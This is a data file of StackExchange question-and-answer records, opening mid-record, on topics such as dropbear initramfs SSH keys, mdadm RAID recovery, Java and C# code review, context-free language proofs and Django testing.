bind-mount /root/.ssh onto /etc/initramfs-tools/root/.sshA final update-initramfs -u -k all re-created all the initrd imagesTo convert the keys I ran these commands:/usr/lib/dropbear/dropbearconvert openssh dropbear /etc/ssh/ssh_host_rsa_key /etc/initramfs-tools/etc/dropbear/dropbear_rsa_host_key/usr/lib/dropbear/dropbearconvert openssh dropbear /etc/ssh/ssh_host_dsa_key /etc/initramfs-tools/etc/dropbear/dropbear_dss_host_key/usr/lib/dropbear/dropbearconvert openssh dropbear /etc/ssh/ssh_host_ecdsa_key /etc/initramfs-tools/etc/dropbear/dropbear_ecdsa_host_keyNote: the source and target file names differ. So don't make assumptions here. Also, /usr/lib/dropbear isn't in my PATH, so I needed to give the full path to execute dropbearconvert."  } 
{  "id": "_codereview.160589"  , "question": "my code is for menu. In the exit case of the menu it must count how many times are used options 1 and 2. No matter how many times I choose 1 and 2, when I choose 3 it gives me 0 for counter1 and counter2 and I can't find out why. The code for passive class:    public final class Service {    private int x;    public Service(int x) {    setX(x);    }    public double getX() {    return x;    }    public void setX(int x) {    this.x = x;    }    public void displayMenu() {    for (int i = 0; i < 60; i++) {        System.out.println();    }    System.out.printf(%s, Choose number\\n            + 1.business account \\n            + 2.Account for person\\n            + 3.Exit\\n    );    }    public void doSelection(int choice) {    int counter1 = 0;    int counter2 = 0;    switch (choice) {        case 1:            counter1++;            ServiceNumber newNumber = new ServiceNumber(1,1);            JOptionPane.showMessageDialog(null, newNumber.toString());            for (int i = 0; i < 60; i++) {                System.out.println();            }            break;        case 2:            counter2++;            ServiceNumber newNumber2 = new ServiceNumber(2,2);            JOptionPane.showMessageDialog(null, newNumber2.toString());            for (int i = 0; i < 60; i++) {                System.out.println();            }            break;        case 3:        System.out.printf(How many times have you chosen option 1 %d\\n                    + How many times have you chosen option2: %d\\n,                    counter1, counter2);            System.exit(0);            break;    }    }    public void getUserChoice() {    do {        displayMenu();        Scanner input = new Scanner(System.in);        int choice;        choice = input.nextInt();        while (choice < 1 || choice > 3) {            System.out.println(Enter new code);            choice = input.nextInt();        }        doSelection(choice);    } while (true);The active class:   public class ServiceTest {   public static void main(String[] args) {   Service newNumber=new Service(0);      newNumber.getUserChoice();"  , "title": "Why this code doesn't work"  , "tags": "java"  , "accepted_answer": "Your variables are local variables.int counter1 = 0;int counter2 = 0;will be reset every call to doSelection().declare them outside of the method to maintain state between calls.public void doSelection(int choice) {int counter1 = 0;int counter2 = 0;should be changed toint counter1 = 0;int counter2 = 0;public void doSelection(int choice) {"  } 
{  "id": "_unix.203292"  , "question": "I know there are similar questions to this but none specific to RAID 10 extracted from a NAS, so any help is greatly appreciated.So, basically the NAS is kaput but the drives are ok. Following the advice of the Seagate tech who basically said that replacing the NAS would format the drives upon start-up I want to connect the drives to a Linux PC and use MDADM to create a software array and recover the data.The problem is I have no idea how to use MDADM and influenced from other horror stories I do not want to risk using the wrong command and corrupting the data.Based on what I have read I should connect the drives via SATA to my linux PC, boot up, open a root terminal and run the following:mdadm --assemble --scanAnd then magically the drive will appear in the file manager and I can just copy the files?Am I missing something or is this too easy? Also, is the command ok?Thanks for helping ;)"  , "title": "Data Recovery from a 4-Disk NAS RAID 10"  , "tags": "linux;data recovery;mdadm;nas"  , "accepted_answer": "The horror stories are from people running mdadm --create because they want to create a new array using existing array components. What --create does is to create a new, empty array, using existing disks or partitions (and overwriting what they used to contain).Each volume in an array contains a header which includes UUID of the array as well as information as to where it fits in the array. This allows mdadm to reconstruct arrays simply by presenting their components and letting it sort out which volumes go together and how to use them. The header content is what determines how a volume is used, not how the volume is connected to the computer. If enough volumes are present, you shouldn't need to do anything other than mdadm --assemble --scan.Running mdadm --assemble without --force won't destroy your data."  } 
{  "id": "_unix.265720"  , "question": "If I run:sftp -oServerAliveInterval=10 server-2Connection is established. But after increasing (decreasing) the value from 10 to 1:sftp -oServerAliveInterval=1 server-2I am unable to connect:Connecting to server-2...Connection closed by 10.0.1.10Couldn't read packet: Connection reset by peerAny ideas why?Added -vvv:debug1: SSH2_MSG_SERVICE_ACCEPT receiveddebug2: key: id_rsa (0xxxxxxxxxxx)Connection to 10.0.1.10 timed out while waiting to readCouldn't read packet: Connection reset by peer"  , "title": "ServerAliveInterval and connection reset"  , "tags": "linux;ssh;networking;sftp"  , "accepted_answer": "Solved. Issue caused by internal bug in the app server running on Windows machine"  } 
{  "id": "_softwareengineering.120927"  , "question": "I'm on the way developing a Java application where user can provide a class diagram and get the corresponding Java code.I don't know how can I let the user interactively draw a class diagram in Java. I am currently getting the required parameters like attributes, functions directly from the user, and then I render a class diagram for him. I show the class diagram on a jdialog.But when it comes to multiple class diagrams, it screws me. Is there a better way to do this?This is an example of a class diagram, I need to generate this from a Java program, given the values and relationship."  , "title": "Java code generation from class diagram"  , "tags": "java;algorithms;class diagram"  , "accepted_answer": "First point: this is fairly non-trivial. Second point: the fact that the Java environment makes the Java compiler directly available will help a lot in implementing this. I believe you should be able to collect most (all?) the information you need by walking the AST with the compiler tree API. At least from the looks of things, the part you'll care the most about will be the ClassTree interface. So, the basic idea would be to create your tree visitor, walk the tree, and collect information about the ClassTree objects you find.Once you've collected the information, it becomes mostly a matter of drawing a nicely formatted result. If you have some funds available, I've heard good things about yFiles for Java (I should also mention that the same company's yWorks UML Doclet is supposed to do nearly what you're talking about, but from JavaDac comments rather than the source itself). There are, as you'd expect, lots of alternatives to that as well. I don't know enough about most (any?) of them to comment further on them though (I did use GraphViz once, but so long ago that I don't remember much, and what little I might remember is probably obsolete anyway)."  } 
{  "id": "_softwareengineering.198195"  , "question": "Wonder if anyone could shed some light on this messaging construct:The documentation says that messages appear btwn brackets [] andthat the msg target/object is on the left, whilst the msg itself (and any parameters) is on the right:[msgTarget msg], e.g., [myArray insertObject:anObject atIndex:0]OK, simple enough... but then they introduce the idea that it's convenient to nest msgs in lieu of the use of temporary variables--I'll take their word for it--so the above example becomes:[[myAppObject theArray] insertObject:[myAppObject objectToInsert] atIndex:0]In other words, [myAppObject theArray]  is a nested msg, one, and, two, 'theArray' is the 'message'.  Well, to say I find this confusing is a bit of an understatement ... Maybe it's just me but 'theArray' doesn't evoke a message semantically or grammatically.  What this looks like to a guy who knows Java is a type/class.  In Java we do things likeClass objectInstance = new Class() ... the bit to the left of the assignment operator is what this so-called nested message reminds me of ... with object and class/type positions switched of course.  Anyway, any insight much appreciated.   "  , "title": "Objective C - nested messages ... confusion about"  , "tags": "objective c;syntax;semantics;message passing"  , "accepted_answer": "In Objective-C, by convention, you refer to properties with dot notation. Thus, you write myAppObject.theArray instead [myAppObject theArray]. In Objective-C the default getter is the name of the variable instead getVariable. For example, writing@property NSArray *theArray;creates an instance variable _theArray and generates the following accessor:-(NSArray*) theArray { return _theArray; }So by sending theArray as a message you are actually invoking a method. But again, use only dot notation for properties."  } 
{  "id": "_cs.7831"  , "question": "The cyclic shift  (also called rotation or conjugation) of a language $L$ is defined as $\\{ yx \\mid xy \\in L \\}$. According to wikipedia (and here) the context-free languages are closed under this operation, with references to papers from Oshiba and from Maslov. Is there an easy proof of this fact? For regular languages the closure is discussed in this form as Prove that regular languages are closed under the cycle operator."  , "title": "Easy proof for context-free languages being closed under cyclic shift"  , "tags": "formal languages;context free;closure properties"  , "accepted_answer": "You can try to use pushdown automata. Given a pushdown automaton for the original language, we construct one for the cyclic shift. The new automaton operates in two stages, corresponding to the $y$ and the $x$ part of the word $yx$ (where $xy$ is in the original language). In the first stage, whenever the automaton would like to pop a non-terminal $A$, it can instead push a non-terminal $A'$; the idea is that at the end of the first stage, the stack would contain, in reverse order, the symbols that are found in the stack after reading $x$ by the original automaton. In the second stage (the switch is non-deterministic), instead of pushing a non-terminal $A$, we are allowed to pop a non-terminal $A'$. If the original automaton can indeed generate the stack upon reading $x$, then the new one would be able to exactly pop the entire stack.Edit: Here are some more details. Suppose we are given a PDA with alphabet $\\Sigma$, set of states $Q$, set of accepting states $F$, non-terminals $\\Gamma$, initial state $q_0$, and a set of allowable transitions. Each allowable transition is of the form $(q,a,A,q',\\alpha)$, meaning that when in state $q$, upon reading $a \\in A$ (or $a = \\epsilon$, in which case it's a free transition), if the top-of-stack is $A \\in \\Gamma$ (or $A = \\epsilon$, which means stack is empty), then the PDA can (it's a non-deterministic model) move to state $q'$, replacing $A$ with $\\alpha \\in \\Gamma^*$.The new PDA has a new non-terminal $A'$ for each $A \\in \\Gamma$. For every two states $q,q' \\in Q$ and $A \\in \\Gamma \\cup \\{\\epsilon\\}$, there are two states $(q,q',1),(q,q',2,A)$. The starting states (the actual starting state is chosen non-deterministically among them via $\\epsilon$-transitions) are $(q,q,1)$. For each transition $(q,a,A,q',\\alpha)$ there are corresponding transitions $((q,q'',1),a,A,(q',q'',1),\\alpha)$ and $((q,q'',2,B),a,A,(q',q'',2,B),\\alpha)$. There are other transitions as well.For each transition $(q,a,A,q',\\alpha)$, there are transitions $((q,q'',1),a,B',(q',q'',1),B'A'\\alpha)$, where $B \\in \\Gamma \\cup \\{\\epsilon\\}$ and $\\epsilon' = \\epsilon$. For every final state $q \\in F$, there are transitions $((q,q'',1),\\epsilon,A,(q_0,q'',2,\\epsilon),A)$, where $A \\in \\Gamma \\cup \\{\\epsilon\\}$.For every transition $(q,a,\\epsilon,q',\\alpha)$, there are transitions $((q,q'',2,A),a,B',(q',q'',2,A),B'\\alpha)$, where $A \\in \\Gamma \\cup \\{\\epsilon\\}$. For every transition $(q,a,\\epsilon,q',A)$, there are transitions $((q,q'',2,B),a,A',(q',q'',2,A),\\epsilon)$, where $B \\in \\Gamma \\cup \\{\\epsilon\\}$. For every transition $(q,a,A,q',B)$, there are generalized transitions $((q,q'',2,C),a,B'A,(q,q'',2,C),\\epsilon)$; these are implemented as a sequence of two transitions through an intermediate new state. Transitions $(q,a,\\epsilon,q',\\alpha)$ with $|\\alpha| \\geq 2$ are handled similarly. For every transition $(q,a,A,q',A)$, there are transitions $((q,q'',2,A),a,B,(q',q'',2,A),B)$, where $B \\in \\Gamma' \\cup \\{\\epsilon\\}$. Transitions $(q,a,A,q',A\\alpha)$ are handled similarly. Finally, there is a sole final state $f$, and transitions $((q,q,2,A),\\epsilon,\\epsilon,f,\\epsilon)$.(There might be a few transitions that I missed, and some of the details that I'm omitting are somewhat messy.)Recall we're trying to accept a word $yx$, where $xy$ is accepted by the original PDA. A state $(q,q',1)$ means that we're at stage 1, at state $q$, and the original PDA is at state $q'$ after reading $x$. A state $(q,q',2,A)$ is similar, where $A$ corresponds to the last $A'$ that was popped. At stage 1, we are allowed to push $A'$ instead of popping $A$. We do that for each non-terminal that is produced while processing $x$, but only popped while processing $y$. At stage 2, we are allowed to pop $A'$ instead of pushing $A$. If we do this, then we have to remember that the top-of-stock is really $A$; this only applies when there are no temporary things on the stack, which in the simulated PDA is the same as the top-of-stack being $\\epsilon$ or of the form $B'$.Here is a simple example. Consider an automaton for $x^n y^n$ that pushes $A$ for each $x$, and pops $A$ for each $y$. The new automaton accepts words of two forms: $y^k x^n y^{n-k}$ and $x^k y^n x^{n-k}$. For words of the first form, stage 1 consists of pushing $k$ times $A'$, stage 2 consists of popping $k$ times $A'$, pushing $n-k$ times $A$, and popping $n-k$ times $A$. For words of the second form, we first push $k$ times $A$, then pop $k$ times $A$, push $n-k$ times $A'$, transition to stage 2, and pop $n-k$ times $A'$.Here is a more complicated example, for the language of balanced parentheses of various types ((),[],<>) such that the immediate descendants of each type of parentheses must belong to a different type. For example, ([]<>) is OK but () is wrong. For each (, we push $A$ if the top-of-stack isn't $A$, for each ), we pop $A$. Similarly $B$,$C$ are associated with [] and <>. Here is how we accept the word >)([()]<. We consume >), pushing $C'A'$, and transition to stage 2. We consume (, popping $A'$ and remembering the top-of-stack $A$. We consume [()] , pushing and popping $BA$; when pushing $B$, we are aware that the real top-of-stack is $A$, and so square brackets are allowed (we wouldn't be fooled by >)(()<); when pushing $A$, since the top-of-stack is $B$ (which is not $\\epsilon$ or of the form $X'$), then we know that $B$ is also the real top-of-stack, and so round parentheses are allowed (even though the shadow top-of-stack is $A$). Finally, we consume < and pop $C'$."  } 
{  "id": "_unix.255474"  , "question": "I've got a clientmachine where I'm using a livecd to boot and backup the whole hard drive (1,8 GB is full, it has only 1 partition: NTFS as its a windows PC) onto a remote server (windows server [with a 64 bit system and filesyste on it] with a network share where I move files to).mount -t cifs //myserver/myshare -o user=user, domain=domain, password=password /mnt/gsserverdd if=/mnt/sda1 of=/mnt/gsserver/complete.binumount /mnt/sda1ntfsclone -f -o /mnt/gsserver/onlyclone2.img /dev/sda1 ntfsclone -f -o - /dev/sda1 | gzip -c > /mnt/gsserver/backup.img.gz 2>&1While the dd command executes without a hitch I got a problem with the ntfsclone command.The 2nd clone command was what I used originally....it just created a 1 kb file. In the end then I tried to use the first clone command to see if the problem stems from gzip or ntfsclone or the network.......as info here the dd command took 30 minutes to copy 23 MB of data so the network connection is quite bad.Now when I tried the first ntfsclone I was in for a surprise though:ERROR(28) ftruncate failed for file '/mnt/gsserver/onlyclone2.img': No space left on deviceDestination filesystem type is 0xff534d42The share itself has 30 GB free disk space which should be enough to save the 1,8 GB bin. So a guess of is that it has to do with the livecd boot and he tries to put up something locally before he copies (as info about the client PC here: It has only 500 MB ram), but in all honesty I'm not sure about that guess or how I could test it.What would be the reason for this error message?"  , "title": "ntfsclone on network no space left on device"  , "tags": "linux;networking;ntfs"  } 
{  "id": "_unix.148540"  , "question": "See my earlier question.GRUB wouldn't recognize the XEN kernel until extra blank lines were added and the title of the GRUB entry matched the version of XEN installed on the server.I've always considered the title line to represent a label for the entry, and I never would have thought spacing would have mattered.  Is there a code style guideline/wiki for GRUB with CentOS to avoid these types of issues in the future?"  , "title": "Why Would Spacing Matter in grub.conf?"  , "tags": "centos;grub"  } 
{  "id": "_codereview.148354"  , "question": "Rather than checking if my angle is in the range of 0 to 2pi every time it gets set, I got the idea to store it as an unsigned short with 0xFFFF being +2pi, thus the standard overflow behavior for unsigned numbers should keep it bound to the desired range.Is it a good idea to do it this way, or is there something I'm missing?#ifndef ANGLE_H#define ANGLE_H#include <cstdint>class Angle{//static constexpr long double     _PI = 3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348;  static constexpr long double _TWO_PI = 6.2831853071795864769252867665590057683943387987502116419498891846156328125724179972560696;    static inline __attribute((always_inline)) __attribute((pure))     uint16_t uint16_from_double(const double a) { return (a * 0x00010000) / _TWO_PI; }     uint16_t _theta;    Angle(uint16_t theta) :        _theta(theta)    {    }public:    Angle(double t = 0) :         _theta(uint16_from_double(t));    {    }    inline operator double() const    {        return radians();    }    inline double radians() const { return ((double) _theta) / 0x00010000) * _TWO_PI; }    inline double degrees() const { return ((double) _theta) / 0x00010000) * 360; }//everything is less than and greater than everything else, because it's a circle//so return if subtracting will get us there faster than adding...    inline bool operator<(const Angle & it) const    {        return _theta < it._theta? (it._theta - _theta) < 0x00008000 : (_theta - it._theta) >= 0x00008000;    }    inline bool operator<=(const Angle & it) const    {        return _theta < it._theta? (it._theta - _theta) <= 0x00008000 : (_theta - it._theta) > 0x00008000;    }    inline bool operator>(const Angle & it) const    {        return _theta < it._theta? (it._theta - _theta) > 0x00008000 : (_theta - it._theta) <= 0x00008000;    }    inline bool operator>=(const Angle & it) const    {        return _theta < it._theta? (it._theta - _theta) >= 0x00008000 : (_theta - it._theta) < 0x00008000;    }    inline Angle minDelta(const Angle & it) const    {        uint16_t i = _theta < it._theta? it._theta - _theta :  _theta - it._theta;        return Angle(i < 0x00007FFF? i : 0x00010000 - i);    }    inline const Angle & operator=(double a)    {        _theta = uint16_from_double(a);        return *this;    }    inline const Angle & operator+=(double a)    {        _theta += uint16_from_double(a);        return *this;    }    inline const Angle & operator-=(double a)    {        _theta -= uint16_from_double(a);        return *this;    }    inline const Angle & operator*=(double a)    {        _theta *= a;        return *this;    }    inline const Angle & operator/=(double a)    {        _theta /= a;        return *this;    }};#endif // ANGLE_H"  , "title": "Storing angles with overflow errors"  , "tags": "c++;integer;floating point;coordinate system"  } 
{  "id": "_codereview.169149"  , "question": "At CodeFights I found a question about the validity of Sudoku grid. Given a grid, return true if it is valid, return false otherwise. The grid is valid when each row, each column and each 3x3 sub grid contains at most one occurrence of the numbers 1 to 9.I solved it using C# and I would like some feedback on my solution.The provided grid is guaranteed to be 9x9 and to only contain the characters 1 through 9 and . (for empty cells). So I did not include any error checking. Solutionusing System;public static class Program{    public static void Main()    {        char[][] grid = {            new char[] {'.', '.', '.', '1', '4', '.', '.', '2', '.'},             new char[] {'.', '.', '6', '.', '.', '.', '.', '.', '.'},            new char[] {'.', '.', '.', '.', '.', '.', '.', '.', '.'},            new char[] {'.', '.', '1', '.', '.', '.', '.', '.', '.'},            new char[] {'.', '6', '7', '.', '.', '.', '.', '.', '9'},            new char[] {'.', '.', '.', '.', '.', '.', '8', '1', '.'},            new char[] {'.', '3', '.', '.', '.', '.', '.', '.', '6'},            new char[] {'.', '.', '.', '.', '.', '7', '.', '.', '.'},            new char[] {'.', '.', '.', '5', '.', '.', '.', '7', '.'}        };        var sudoku = new Sudoku(grid);        Console.WriteLine(sudoku.IsValid());    }}public class Sudoku{    char[][] _grid;    public Sudoku(char[][] grid)    {        _grid = grid;    }    public bool IsValid()    {        return RowsAreValid()             && ColumnsAreValid()             && SquaresAreValid();    }    bool RowsAreValid()    {        return Validate(GetNumberFromRow);    }    bool ColumnsAreValid()    {        return Validate(GetNumberFromColumn);    }    bool SquaresAreValid()    {        return Validate(GetNumberFromSquare);    }    bool Validate(Func<int, int, int> numberGetter)    {        for (var row = 0; row < 9; row++)        {            var usedNumbers = new bool[10];            for (var column = 0; column < 9; column++)            {                var number = numberGetter(row, column);                if (number != 0 && usedNumbers[number] == true)                {                    return false;                }                usedNumbers[number] = true;            }        }        return true;    }    int GetNumberFromRow(int row, int column)    {        return ToNumber(_grid[row][column]);    }    int GetNumberFromColumn(int row, int column)    {        return ToNumber(_grid[column][row]);    }    int GetNumberFromSquare(int block, int index)    {        var column = 3 * (block % 3) + index % 3;        var row = index / 3 + 3 * (block / 3);        return ToNumber(_grid[row][column]);    }    int ToNumber(char c)    {        if (c == '.')            return 0;        return (int)(c - '0');    }}"  , "title": "Check if a given grid is a valid Sudoku"  , "tags": "c#;programming challenge;array;game;sudoku"  } 
{  "id": "_webapps.9731"  , "question": "When I am commenting on Facebook, how do I insert a new line. Let us say, that I post a status. Friend A comments on it, followed by Friend B, followed by Friend C. I am now posting a reply and I want it formatted as follows. @FriendA: ..........@FriendB: ..........@FriendC: ..........If I were to press Enter after I have written the response for FriendA, it posts that message. "  , "title": "Adding a New Line on Facebook Comment"  , "tags": "facebook;formatting"  , "accepted_answer": "To add a newline, simply type Shift+Enter. This will insert a newline character (thus making a new line) rather than enter, which causes the form to submit. Note that in some cases, Facebook strips newline characters, and it isn't consistent. For example, you can type newlines into status updates, and it will show the line breaks on your wall and in the newsfeed, but not at the top of your profile."  } 
{  "id": "_softwareengineering.313087"  , "question": "We're working on a bugtracking system.Our design has a BugReport class that represents the filing of a bug of some Project in the system. BugReports have tags, representing the state/progress of the BugReport. Possible tags are e.g. New, Closed, Duplicate, Under Review, ...Tags have no responsibility other than representing the progress of the BugReport. Except for one special type of tag, Duplicate. Duplicate means that the BugReport is actually a duplicate of another BugReport in the system. When a user tags a BugReport as Duplicate, he should indicate of which BugReport the BugReport is a Duplicate of.I'm having trouble to design this part. As said before, most tags only have the functionality of representing the progress of the BugReport. Except for one (maybe more in the future) which also has the functionality to point to another BugReport.A simple enum would've sufficed if not for the Duplicate part, but I have no idea how to provide the extra functionality of Duplicate?"  , "title": "How do I model similar types that have different data?"  , "tags": "design"  } 
{  "id": "_cs.12092"  , "question": "This is something I've been wondering for years. Software like Mathematica is great at manipulating expressions into simplified, factorized, and other forms. I'm wondering if there's a way, theoretically and/or practically, to find the form that has the fewest operations. The next step would be to prefer operations that are faster (ie. multiply instead of divide). Lastly, to find a form that maximizes extraction of repetitive subexpressions, so that the subexpressions can be evaluated once and substituted for potentially significant performance gains. Has any research been done in this area? Thanks."  , "title": "Using a computer algebra system to optimize mathematical expressions"  , "tags": "optimization;computer algebra"  } 
{  "id": "_cs.4592"  , "question": "Stephen Cook's proof of the NP-completeness of SAT is constructive. Given a Turing machine $M$, one can create a logical formula that is satisfiable if and only if $M$'s computation halts in an accepting state. This suggests that we could take a logical formula and create a Turing machine $M'$ whose computation is described by that formula, thereby creating an artificial problem solved by $M'$. Is it possible to use existing NP-complete problems to create other NP-complete problems? Can this be automated?"  , "title": "Creating artificial NP-Complete problems"  , "tags": "algorithms;np complete"  , "accepted_answer": "Dodging any questions about whether this is interesting or artificial (or whether Computer Science really needs any more NP-complete problems than it already has), the answer is yes.  Pick a structure-preserving mapping between some set of strings and problem instances of 3SAT.  Show that the mapping can be computed in polynomial time (i.e., it is a polytime reduction).  Then, deciding if a string is in your set of strings is NP-complete.  Repeat as desired (the composition of polytime reductions is a polytime reduction.)If you wanted to automate this process of creating new NP-complete problems, then it would likely be more efficient to construct the mappings from some base set of polytime mappings, using methods known to preserve polynomial time, rather than picking an arbitrary mapping and proving that it is a polytime reduction.Note that this is not quite what you suggest in your question.  You can take a logical formula and build a Turing machine corresponding to it, but that in itself doesn't lead to an NP-complete problem.  For instance, 2SAT instances can be decided in polynomial time.  And a particular formula will only correspond to a particular machine, whereas you need a set of formulas (or machines) to define a complexity class; so to make new problems in NPC, you really need to show how one set can be converted into another (i.e. a polytime reduction), even if your sets are sets of logical formulas."  } 
{  "id": "_unix.115264"  , "question": "I'm trying to upgrade my Fedora install from 19 (3.12.8-200.fc19.x86_64) to 20. I have installed and ran fedup, it creates a new entry on the boot list but a progress screen is briefly displayed and then it reboots back to Fedora 19.Here's what I tried:# yum install fedup# yum --enablerepo=updates-testing upgrade fedup# fedup --network 20# fedup-cli --network 20and by following this post:# yum install rpmconf; rpmconf -a # find /etc /var -name '*?.rpm?*' # yum install yum-utils; package-cleanup --leaves# package-cleanup --orphans # yum install fedup# fedup-cli --network 20 --debuglog /root/fedupdebug.logIs there a way to log what happens at the post-reboot stage? It seems to be failing at this phase."  , "title": "Fedup fails to update Fedora 19 to 20"  , "tags": "fedora;upgrade"  } 
{  "id": "_cs.73761"  , "question": "I cannot go on with this exercise:Determine whether $L = \\{a^nb^m \\mid n > 2^m \\}$ is context-free.Let's suppose that $L$ is context-free. According to the pumping lemma, there exists $N > 0$ such that every $z \\in L$ of size at least $N$ has a decomposition $z = uvwxy$ such that$|vwx| \\leq N$.$|vx| \\geq 1$.For all $i \\geq 0$, $z_i = uv^iwx^iy$ is in $L$.Let's use $z= a^{2^N+1}b^N$.Then$|z| = 2{^N+1} +N > N$ and $v= a^h$ and $x= b^k$ with $1 \\leq h+k \\leq N$.So $z_i = a^{2^N+1}a^{h(i-1)} b^{N-k}b^{k(i-1)}$.So if there exists $i > 0$ such that $2^N+1+h(i-1) \\leq 2^{N+(i-1)k}$, then $z_i \\notin L$.How can I go on to show that $L$ is not context-free?"  , "title": "Is the language $L=\\{a^nb^m \\mid n>2^m\\}$ context-free?"  , "tags": "context free;pumping lemma"  } 
{  "id": "_unix.366730"  , "question": "I am using cygwin on Windows 10. I can't seem to find any package named xv while in the cygwin setup. How can I use xv on Windows using cygwin or otherwise."  , "title": "Installiing XV on windows using cygwin"  , "tags": "x11;cygwin;image viewer"  , "accepted_answer": "As XV is not provided you can try to compile it by yourself.However as the code is a bit old, last version in 1994, there is no guarantee that it will easily build in modern systems like current Cygwinhttps://en.wikipedia.org/wiki/Xv_%28software%29As there are several equivalent programs in cygwin, you can try one of them."  } 
{  "id": "_unix.130911"  , "question": "I have an OpenElec based HTPC which boots from a USB stick. I would like to replace this with an SSD drive. What is the best way of copying the USB image to the SSD. Is this something that dd could do or would I be better off reinstalling on the SSD from scratch?"  , "title": "Replace USB stick boot device with SSD"  , "tags": "usb drive;ssd"  , "accepted_answer": "dd should work, if you want to use the same filesystem there.Unfortunately the new partition will have the same size; you probably need to enlarge the partition afterwards.Some partitioning tools allow you to copy data from one partition to another (the one in the debian installer does) but they might just use dd aswell.Of course should be capable of resizing the partition afterwards.Personally I would suggest using rsync with appropriate flags.I suggest rsync --archive --hard-links --acls --xattrs --one-file-system, that should get you pretty much everything.Please check the man page if these flags are right for you, you might not need --acls or --xattrs. But you should use --one-file-system or strange things will happen with /proc and the like."  } 
{  "id": "_softwareengineering.129259"  , "question": "I really enjoy watching live code demos, especially when time is focused on what the code is doing instead of what the presenter is typing.  Many seem to be using apps to manage their clipboard to paste code into the IDE.  What apps are out there for skillfully managing your clipboard to seamlessly do a code demo?UPDATE:I found this app that Apple engineers use called DemoMonkey.  It's actually an OS X app demo for, ironically enough, the clipboard and system services.  The link includes the source so creating a PC equivalent would be easy, is there really nothing out there?"  , "title": "Apps for facilitating live code demos?"  , "tags": "demonstration"  } 
{  "id": "_unix.195034"  , "question": "I got my laptop battery accidently disconnected, while the laptop was suspended to RAM. And now I'm experiencing these problems:When I'm trying to login to the system using sddm or kdm:after I enter my password - I'm getting mouse cursor and default wallpaper displayed and nothing happens after that.It doesn't matter if I'm trying to login to kde or to TWM.I've created a new user to test whether is it related to some user settings. It's not. The same thing happens for a new user.I can login to the tty console.I can perform startx and startkde with root credentionals and kde works just fine.But if I'm performing startx with standart user credentionals - twm starts and then my laptop ignoring any input (besides power button).My ~/.xsession-errors contains only the following line:sudo: no tty present and no askpass program specifiedI've already done fsck.Do you have any idea what I'm dealing with here?UPD:Some (probably relevant) info from journalctl. After the login attempt with sddm, I'm getting:dbus: [system] Failed to activate service 'org.freedesktop.login1': timed out  sddm-helper: pam_systemd(sddm:session): failed to create session: connection timed out"  , "title": "*DM Login problems"  , "tags": "arch linux;xorg;login;kdm"  , "accepted_answer": "It was quite counterintuitive for me, but reinstalling sudo and editing sudoers file helped."  } 
{  "id": "_webapps.33618"  , "question": "Can one ensure that certain people subscribe to a particular card in Trello?If not, one has to add a FYI or a cc to a list of people in each message."  , "title": "Trello: Subscribe function"  , "tags": "trello cards;trello lists"  } 
{  "id": "_unix.96556"  , "question": "I'm trying to create a monitoring system for a remote machine using an IPMI Serial Over Lan (SOL) console. The remote OS is RHEL 6, the mobo manufacturer is Supermicro. I've successfully enabled SOL redirection in the BIOS. This allows me to see the BIOS and kernel parts of bootup through an attached SOL console over IPMI. Next, I followed the steps mentioned in many online articles to get my OS ( runlevel 3, just text terminal ) to redirect too. The result is almost always the same :After making the changes to /etc/grub.conf, /etc/inittab, and /etc/securetty, i can see the grub menu through the SOL console (yay!), but as soon as the OS starts booting, my SOL terminal receives 1 gibberish character, and nothing more. Some thoughts: I'm not exaclty sure which serial port my BIOS are trying to redirect stuff into (ttyS0, ttyS1). Most of the examples use ttyS1, and since the grub menu gets redirected there, i'm pretty confident thats 'correct'I know the 'terminal types' and baud rates have to match between the BIOS and OS settings. I am consistently using 115200 for baud, but i'm less confident I'm choosing the right terminal type. The terminal type in BIOS is ANSI, and this gives the coloration i want for the BIOS over SOL. However, for the OS settings, most of the examples use 'linux'; i'm not sure if that's compatible with my ANSI setting. I've tried VT100 for both BIOS and OS, and I still never see anything past the Grub menu (plus, i lose color info for my BIOS over SOL).Any help is greatly appreciated."  , "title": "Serial Over Lan redirection stops at OS boot"  , "tags": "linux;serial port;rhel"  } 
{  "id": "_softwareengineering.189136"  , "question": "I'm really struggling to write effective unit tests for a large Django project.  I have reasonably good test coverage, but I've come to realize that the tests I've been writing are definitely integration/acceptance tests, not unit tests at all, and I have critical portions of my application that are not being tested effectively.  I want to fix this ASAP.Here's my problem. My schema is deeply relational, and heavily time-oriented, giving my model object high internal coupling and lots of state.  Many of my model methods query based on time intervals, and I've got a lot of auto_now_add going on in timestamped fields.  So take a method that looks like this for example:def summary(self, startTime=None, endTime=None):    # ... logic to assign a proper start and end time     # if none was provided, probably using datetime.now()    objects = self.related_model_set.manager_method.filter(...)    return sum(object.key_method(startTime, endTime) for object in objects)How does one approach testing something like this?  Here's where I am so far.  It occurs to me that the unit testing objective should be given some mocked behavior by key_method on its arguments, is summary correctly filtering/aggregating to produce a correct result?Mocking datetime.now() is straightforward enough, but how can I mock out the rest of the behavior?  I could use fixtures, but I've heard pros and cons of using fixtures for building my data (poor maintainability being a con that hits home for me).I could also setup my data through the ORM, but that can be limiting, because then I have to create related objects as well.  And the ORM doesn't let you mess with auto_now_add fields manually.Mocking the ORM is another option, but not only is it tricky to mock deeply nested ORM methods, but the logic in the ORM code gets mocked out of the test, and mocking seems to make the test really dependent on the internals and dependencies of the function-under-test.The toughest nuts to crack seem to be the functions like this, that sit on a few layers of models and lower-level functions and are very dependent on the time, even though these functions may not be super complicated. My overall problem is that no matter how I seem to slice it, my tests are looking way more complex than the functions they are testing."  , "title": "Unit testing in Django"  , "tags": "testing;unit testing;django"  } 
{  "id": "_softwareengineering.191303"  , "question": "If I split one class into two classes should both classes have history in source control tracing back to the original class that contained both; or should the new class be added as a new file without any history tracing back?When splitting a large class into two similar sized parts this seems like the natural approach since the older versions of the combined class will have large amounts of relevant history for both descendents.  When I'm just pulling one or two methods out to create a helper class, having the complete history for the new class be >90% changes in the parent that affected code that wasn't split out seems like a recipe for confusion in the future."  , "title": "Should a new class refactored out of an existing one have history pointing back to it's progenitor"  , "tags": "version control;refactoring"  , "accepted_answer": "It's much easier to ignore some history later than to try to splice it back in.  In general you want to favor the least destructive option.  People primarily review source control history for three reasons:To find out which change introduced a bug.To discern the reasons why a section of code is in there.To find out what has changed since the last release or the last time you updated.Copying history for a split file contributes little if any confusion for any of those use cases.  The worst that happens is you have to sift through some irrelevant commits, and you generally have to do that anyway.  On the other hand, not having the history past a certain point makes the first two use cases much more difficult."  } 
